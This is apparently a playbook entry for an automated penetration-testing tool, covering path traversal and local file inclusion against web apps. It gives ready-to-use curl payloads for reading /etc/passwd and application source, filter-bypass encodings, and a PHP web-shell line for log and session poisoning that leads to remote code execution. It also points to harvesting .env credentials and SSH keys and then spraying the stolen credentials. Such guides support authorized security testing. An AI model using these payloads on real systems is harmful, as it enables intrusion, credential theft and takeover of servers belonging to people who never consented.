web-lfi-traversal

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

• Reads only (traversal) → escalate to source disclosure + secrets.
• PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
• Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

• WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
• App sandboxes to a base dir → look for a symlink/upload you control to include.
• 200 with generic page ≠ read — confirm the actual file bytes are in the response.